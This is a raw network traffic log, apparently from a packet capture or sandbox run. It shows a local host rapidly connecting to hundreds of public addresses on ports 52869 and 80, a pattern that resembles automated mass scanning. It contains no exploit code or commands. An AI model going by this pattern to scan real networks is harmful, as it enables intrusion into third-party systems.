Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	188.232.101.70
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	51.28.75.23
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	40.123.209.61
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	151.222.62.102
Jul 20, 2024 23:00:57.833499908 CEST	33453	52869	192.168.2.23	74.49.211.120
Jul 20, 2024 23:00:57.835628986 CEST	33453	52869	192.168.2.23	104.136.37.167
Jul 20, 2024 23:00:57.835628986 CEST	33453	52869	192.168.2.23	142.115.228.113
Jul 20, 2024 23:00:57.835628986 CEST	33453	52869	192.168.2.23	180.29.95.56
Jul 20, 2024 23:00:57.835629940 CEST	33453	52869	192.168.2.23	105.33.73.98
Jul 20, 2024 23:00:57.835629940 CEST	33453	52869	192.168.2.23	124.244.154.73
Jul 20, 2024 23:00:57.835629940 CEST	33453	52869	192.168.2.23	18.226.75.56
Jul 20, 2024 23:00:57.835629940 CEST	33453	52869	192.168.2.23	122.220.112.182
Jul 20, 2024 23:00:57.835629940 CEST	33453	52869	192.168.2.23	79.16.36.72
Jul 20, 2024 23:00:57.835808039 CEST	36013	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:57.835808039 CEST	36013	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:57.835808039 CEST	36013	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:57.837121010 CEST	80	36013	95.247.205.18	192.168.2.23
Jul 20, 2024 23:00:57.837162971 CEST	80	36013	95.2.212.137	192.168.2.23
Jul 20, 2024 23:00:57.837194920 CEST	80	36013	95.191.65.210	192.168.2.23
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	189.189.189.75
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	9.191.139.127
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	27.53.217.25
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	147.16.146.255
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	82.39.21.119
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	141.146.180.98
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	154.111.34.69
Jul 20, 2024 23:00:57.837224007 CEST	80	36013	95.60.51.67	192.168.2.23
Jul 20, 2024 23:00:57.837223053 CEST	33453	52869	192.168.2.23	151.217.153.195
Jul 20, 2024 23:00:57.837254047 CEST	80	36013	95.87.70.25	192.168.2.23
Jul 20, 2024 23:00:57.837260008 CEST	36013	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:57.837260962 CEST	36013	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:57.837285995 CEST	80	36013	95.36.82.73	192.168.2.23
Jul 20, 2024 23:00:57.837297916 CEST	36013	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:57.837315083 CEST	80	36013	95.199.108.166	192.168.2.23
Jul 20, 2024 23:00:57.837326050 CEST	36013	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:57.837326050 CEST	36013	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:57.837343931 CEST	80	36013	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:57.837372065 CEST	80	36013	95.186.203.212	192.168.2.23
Jul 20, 2024 23:00:57.837400913 CEST	80	36013	95.83.199.37	192.168.2.23
Jul 20, 2024 23:00:57.837429047 CEST	80	36013	95.77.163.115	192.168.2.23
Jul 20, 2024 23:00:57.837456942 CEST	80	36013	95.63.144.57	192.168.2.23
Jul 20, 2024 23:00:57.837486029 CEST	80	36013	95.132.68.188	192.168.2.23
Jul 20, 2024 23:00:57.837512970 CEST	80	36013	95.19.94.171	192.168.2.23
Jul 20, 2024 23:00:57.837541103 CEST	80	36013	95.34.132.196	192.168.2.23
Jul 20, 2024 23:00:57.837557077 CEST	36013	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:57.837557077 CEST	36013	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:57.837569952 CEST	80	36013	95.119.119.53	192.168.2.23
Jul 20, 2024 23:00:57.837596893 CEST	80	36013	95.75.206.109	192.168.2.23
Jul 20, 2024 23:00:57.837625027 CEST	80	36013	95.20.245.92	192.168.2.23
Jul 20, 2024 23:00:57.837639093 CEST	52869	33453	74.129.145.150	192.168.2.23
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:57.837647915 CEST	36013	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:57.837652922 CEST	80	36013	95.111.9.141	192.168.2.23
Jul 20, 2024 23:00:57.837666035 CEST	80	36013	95.159.154.72	192.168.2.23
Jul 20, 2024 23:00:57.837681055 CEST	80	36013	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:57.837697983 CEST	80	36013	95.90.8.227	192.168.2.23
Jul 20, 2024 23:00:57.837732077 CEST	80	36013	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:57.837745905 CEST	52869	33453	92.198.15.133	192.168.2.23
Jul 20, 2024 23:00:57.837759972 CEST	80	36013	95.217.183.227	192.168.2.23
Jul 20, 2024 23:00:57.837773085 CEST	80	36013	95.47.49.37	192.168.2.23
Jul 20, 2024 23:00:57.837786913 CEST	80	36013	95.212.185.109	192.168.2.23
Jul 20, 2024 23:00:57.837800980 CEST	80	36013	95.27.136.95	192.168.2.23
Jul 20, 2024 23:00:57.837816000 CEST	52869	33453	223.129.233.204	192.168.2.23
Jul 20, 2024 23:00:57.837831020 CEST	80	36013	95.16.252.201	192.168.2.23
Jul 20, 2024 23:00:57.837843895 CEST	80	36013	95.248.74.27	192.168.2.23
Jul 20, 2024 23:00:57.837871075 CEST	80	36013	95.141.246.34	192.168.2.23
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:57.837892056 CEST	36013	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:57.837985039 CEST	80	36013	95.16.233.29	192.168.2.23
Jul 20, 2024 23:00:57.837999105 CEST	80	36013	95.107.6.30	192.168.2.23
Jul 20, 2024 23:00:57.838011980 CEST	80	36013	95.102.82.117	192.168.2.23
Jul 20, 2024 23:00:57.838716984 CEST	80	36013	95.74.78.222	192.168.2.23
Jul 20, 2024 23:00:57.838737965 CEST	80	36013	95.81.115.211	192.168.2.23
Jul 20, 2024 23:00:57.838793993 CEST	33453	52869	192.168.2.23	161.88.178.139
Jul 20, 2024 23:00:57.838793993 CEST	33453	52869	192.168.2.23	196.61.91.110
Jul 20, 2024 23:00:57.838793993 CEST	33453	52869	192.168.2.23	147.27.194.103
Jul 20, 2024 23:00:57.838794947 CEST	33453	52869	192.168.2.23	19.211.108.133
Jul 20, 2024 23:00:57.838794947 CEST	33453	52869	192.168.2.23	70.159.126.231
Jul 20, 2024 23:00:57.838794947 CEST	33453	52869	192.168.2.23	97.19.153.140
Jul 20, 2024 23:00:57.838794947 CEST	33453	52869	192.168.2.23	31.134.106.72
Jul 20, 2024 23:00:57.838794947 CEST	33453	52869	192.168.2.23	190.82.34.140
Jul 20, 2024 23:00:57.838831902 CEST	80	36013	95.157.203.128	192.168.2.23
Jul 20, 2024 23:00:57.838851929 CEST	80	36013	95.170.196.15	192.168.2.23
Jul 20, 2024 23:00:57.838865995 CEST	80	36013	95.50.34.145	192.168.2.23
Jul 20, 2024 23:00:57.839061022 CEST	36013	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:57.839061975 CEST	36013	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:57.839212894 CEST	80	36013	95.106.65.7	192.168.2.23
Jul 20, 2024 23:00:57.839236021 CEST	80	36013	95.43.93.252	192.168.2.23
Jul 20, 2024 23:00:57.839251041 CEST	80	36013	95.58.105.201	192.168.2.23
Jul 20, 2024 23:00:57.839268923 CEST	80	36013	95.204.198.68	192.168.2.23
Jul 20, 2024 23:00:57.839365005 CEST	36013	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:57.839365005 CEST	36013	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:57.839365005 CEST	36013	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:57.839365005 CEST	36013	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:57.839365959 CEST	36013	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:57.839365959 CEST	36013	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:57.839365959 CEST	36013	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:57.839365959 CEST	36013	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:57.839413881 CEST	80	36013	95.13.168.179	192.168.2.23
Jul 20, 2024 23:00:57.839428902 CEST	80	36013	95.224.122.49	192.168.2.23
Jul 20, 2024 23:00:57.839764118 CEST	52869	33453	197.240.19.68	192.168.2.23
Jul 20, 2024 23:00:57.839920998 CEST	52869	33453	172.10.232.56	192.168.2.23
Jul 20, 2024 23:00:57.839936972 CEST	52869	33453	60.114.246.170	192.168.2.23
Jul 20, 2024 23:00:57.839950085 CEST	80	36013	95.184.188.30	192.168.2.23
Jul 20, 2024 23:00:57.840502977 CEST	80	36013	95.217.227.150	192.168.2.23
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:57.840738058 CEST	36013	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:57.840822935 CEST	80	36013	95.129.39.24	192.168.2.23
Jul 20, 2024 23:00:57.841051102 CEST	52869	33453	113.194.203.134	192.168.2.23
Jul 20, 2024 23:00:57.841136932 CEST	80	36013	95.73.162.66	192.168.2.23
Jul 20, 2024 23:00:57.841150999 CEST	52869	33453	182.239.43.117	192.168.2.23
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	19.140.159.40
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	183.58.92.102
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	179.24.93.113
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	216.114.143.43
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	213.233.147.101
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	113.59.191.148
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	59.89.2.86
Jul 20, 2024 23:00:57.841531992 CEST	33453	52869	192.168.2.23	79.19.98.248
Jul 20, 2024 23:00:57.841713905 CEST	80	36013	95.78.253.213	192.168.2.23
Jul 20, 2024 23:00:57.841756105 CEST	52869	33453	188.225.108.211	192.168.2.23
Jul 20, 2024 23:00:57.842052937 CEST	80	36013	95.186.21.70	192.168.2.23
Jul 20, 2024 23:00:57.842158079 CEST	52869	33453	66.60.254.197	192.168.2.23
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:57.842195988 CEST	36013	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:57.842257977 CEST	36013	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:57.842257977 CEST	36013	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:57.842257977 CEST	36013	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:57.842317104 CEST	80	36013	95.46.44.80	192.168.2.23
Jul 20, 2024 23:00:57.842365980 CEST	52869	33453	123.106.189.191	192.168.2.23
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	200.88.33.70
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	116.114.9.238
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	100.136.66.205
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	14.45.29.252
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	61.21.246.2
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	31.15.42.200
Jul 20, 2024 23:00:57.842729092 CEST	33453	52869	192.168.2.23	14.142.243.110
Jul 20, 2024 23:00:57.842730045 CEST	33453	52869	192.168.2.23	135.204.255.4
Jul 20, 2024 23:00:57.842833996 CEST	80	36013	95.125.201.89	192.168.2.23
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	194.47.173.108
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	115.58.48.120
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	161.105.155.209
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	12.143.210.151
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	164.48.190.216
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	221.70.179.195
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	25.243.49.0
Jul 20, 2024 23:00:57.843636990 CEST	33453	52869	192.168.2.23	41.26.197.135
Jul 20, 2024 23:00:57.843879938 CEST	80	36013	95.195.0.56	192.168.2.23
Jul 20, 2024 23:00:57.843926907 CEST	52869	33453	104.136.37.167	192.168.2.23
Jul 20, 2024 23:00:57.843957901 CEST	52869	33453	107.53.30.32	192.168.2.23
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	17.255.234.131
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	77.184.3.138
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	141.212.125.71
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	19.27.203.72
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	203.129.127.30
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	118.47.221.221
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	205.110.172.228
Jul 20, 2024 23:00:57.843960047 CEST	33453	52869	192.168.2.23	96.203.32.215
Jul 20, 2024 23:00:57.843986988 CEST	52869	33453	142.115.228.113	192.168.2.23
Jul 20, 2024 23:00:57.844105959 CEST	36013	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:57.844105959 CEST	36013	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:57.844105959 CEST	36013	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:57.844752073 CEST	52869	33453	180.29.95.56	192.168.2.23
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	53.65.67.37
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	86.54.128.247
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	46.236.176.228
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	170.49.47.196
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	137.76.145.109
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	205.153.67.222
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	140.1.145.198
Jul 20, 2024 23:00:57.844805002 CEST	33453	52869	192.168.2.23	4.242.142.248
Jul 20, 2024 23:00:57.845487118 CEST	52869	33453	189.189.189.75	192.168.2.23
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	134.248.168.82
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	27.105.70.123
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	168.34.113.44
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	132.178.31.54
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	95.113.69.194
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	13.130.200.192
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	129.32.162.27
Jul 20, 2024 23:00:57.845566988 CEST	33453	52869	192.168.2.23	153.22.59.252
Jul 20, 2024 23:00:57.845803976 CEST	52869	33453	9.191.139.127	192.168.2.23
Jul 20, 2024 23:00:57.845910072 CEST	52869	33453	105.33.73.98	192.168.2.23
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	209.200.174.50
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	45.4.188.185
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	191.233.167.57
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	36.50.245.57
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	216.63.135.207
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	134.124.62.252
Jul 20, 2024 23:00:57.845926046 CEST	33453	52869	192.168.2.23	109.61.85.96
Jul 20, 2024 23:00:57.846079111 CEST	52869	33453	27.53.217.25	192.168.2.23
Jul 20, 2024 23:00:57.846208096 CEST	52869	33453	147.16.146.255	192.168.2.23
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	209.255.118.156
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	68.111.142.195
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	188.249.229.48
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	102.43.45.95
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	31.150.65.179
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	135.68.124.134
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	173.183.153.162
Jul 20, 2024 23:00:57.846626997 CEST	33453	52869	192.168.2.23	75.2.248.151
Jul 20, 2024 23:00:57.846935034 CEST	33453	52869	192.168.2.23	116.103.147.192
Jul 20, 2024 23:00:57.846935034 CEST	33453	52869	192.168.2.23	213.105.160.219
Jul 20, 2024 23:00:57.846935034 CEST	33453	52869	192.168.2.23	181.34.72.167
Jul 20, 2024 23:00:57.846935034 CEST	33453	52869	192.168.2.23	89.4.1.193
Jul 20, 2024 23:00:57.846935987 CEST	33453	52869	192.168.2.23	216.61.5.60
Jul 20, 2024 23:00:57.846935987 CEST	33453	52869	192.168.2.23	62.81.54.230
Jul 20, 2024 23:00:57.846935987 CEST	33453	52869	192.168.2.23	124.162.154.232
Jul 20, 2024 23:00:57.846935987 CEST	33453	52869	192.168.2.23	197.27.111.103
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	118.99.232.46
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	107.66.101.221
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	76.83.15.33
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	199.101.245.99
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	175.52.108.141
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	124.37.107.8
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	9.242.198.201
Jul 20, 2024 23:00:57.846983910 CEST	33453	52869	192.168.2.23	120.154.80.223
Jul 20, 2024 23:00:57.847528934 CEST	52869	33453	82.39.21.119	192.168.2.23
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	79.156.84.186
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	193.174.76.77
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	35.218.75.146
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	140.46.155.169
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	144.107.249.224
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	68.39.90.74
Jul 20, 2024 23:00:57.847678900 CEST	33453	52869	192.168.2.23	76.157.23.198
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	189.33.65.11
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	95.9.170.103
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	76.161.199.37
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	50.116.82.17
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	151.118.218.26
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	206.92.95.39
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	142.124.92.14
Jul 20, 2024 23:00:57.847832918 CEST	33453	52869	192.168.2.23	59.16.156.146
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	112.91.154.13
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	75.205.123.61
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	135.94.8.231
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	23.46.163.148
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	223.167.33.39
Jul 20, 2024 23:00:57.848403931 CEST	33453	52869	192.168.2.23	218.225.75.160
Jul 20, 2024 23:00:57.848404884 CEST	33453	52869	192.168.2.23	157.201.128.218
Jul 20, 2024 23:00:57.848404884 CEST	33453	52869	192.168.2.23	34.102.234.77
Jul 20, 2024 23:00:57.848690033 CEST	52869	33453	141.146.180.98	192.168.2.23
Jul 20, 2024 23:00:57.849020958 CEST	33453	52869	192.168.2.23	143.139.27.38
Jul 20, 2024 23:00:57.849020958 CEST	33453	52869	192.168.2.23	194.153.56.235
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	25.249.150.22
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	103.146.209.214
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	130.196.168.67
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	14.104.189.166
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	206.187.98.245
Jul 20, 2024 23:00:57.849021912 CEST	33453	52869	192.168.2.23	92.210.210.23
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	187.64.100.243
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	185.119.137.142
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	115.27.89.50
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	143.112.1.166
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	40.246.182.160
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	99.146.56.46
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	95.184.11.147
Jul 20, 2024 23:00:57.849231005 CEST	33453	52869	192.168.2.23	198.92.84.205
Jul 20, 2024 23:00:57.849234104 CEST	52869	33453	154.111.34.69	192.168.2.23
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	23.120.218.202
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	96.36.95.33
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	54.14.137.23
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	36.132.135.232
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	131.96.153.95
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	144.209.127.36
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	175.231.12.152
Jul 20, 2024 23:00:57.849380016 CEST	33453	52869	192.168.2.23	153.164.44.171
Jul 20, 2024 23:00:57.849397898 CEST	52869	33453	124.244.154.73	192.168.2.23
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	117.156.47.231
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	138.119.31.188
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	165.250.98.90
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	9.52.191.196
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	78.230.96.10
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	147.182.116.156
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	87.234.11.7
Jul 20, 2024 23:00:57.849687099 CEST	33453	52869	192.168.2.23	171.76.250.79
Jul 20, 2024 23:00:57.849891901 CEST	52869	33453	151.217.153.195	192.168.2.23
Jul 20, 2024 23:00:57.849905014 CEST	52869	33453	18.226.75.56	192.168.2.23
Jul 20, 2024 23:00:57.850032091 CEST	52869	33453	122.220.112.182	192.168.2.23
Jul 20, 2024 23:00:57.850047112 CEST	52869	33453	194.47.173.108	192.168.2.23
Jul 20, 2024 23:00:57.850096941 CEST	33453	52869	192.168.2.23	223.18.238.156
Jul 20, 2024 23:00:57.850096941 CEST	33453	52869	192.168.2.23	202.104.41.115
Jul 20, 2024 23:00:57.850096941 CEST	33453	52869	192.168.2.23	143.17.136.27
Jul 20, 2024 23:00:57.850096941 CEST	33453	52869	192.168.2.23	77.84.9.153
Jul 20, 2024 23:00:57.850096941 CEST	33453	52869	192.168.2.23	172.41.83.177
Jul 20, 2024 23:00:57.850097895 CEST	33453	52869	192.168.2.23	178.161.215.245
Jul 20, 2024 23:00:57.850097895 CEST	33453	52869	192.168.2.23	177.177.31.201
Jul 20, 2024 23:00:57.850097895 CEST	33453	52869	192.168.2.23	106.29.164.249
Jul 20, 2024 23:00:57.850202084 CEST	52869	33453	115.58.48.120	192.168.2.23
Jul 20, 2024 23:00:57.850215912 CEST	52869	33453	79.16.36.72	192.168.2.23
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	133.95.133.201
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	98.101.56.137
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	170.232.41.188
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	152.46.116.100
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	151.234.1.185
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	152.26.169.58
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	73.168.246.242
Jul 20, 2024 23:00:57.850483894 CEST	33453	52869	192.168.2.23	181.153.218.109
Jul 20, 2024 23:00:57.850656033 CEST	52869	33453	161.105.155.209	192.168.2.23
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	111.72.117.152
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	89.33.40.54
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	89.183.18.54
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	27.205.26.182
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	39.69.156.119
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	13.55.15.145
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	110.140.20.245
Jul 20, 2024 23:00:57.850820065 CEST	33453	52869	192.168.2.23	170.229.152.71
Jul 20, 2024 23:00:57.850991964 CEST	52869	33453	12.143.210.151	192.168.2.23
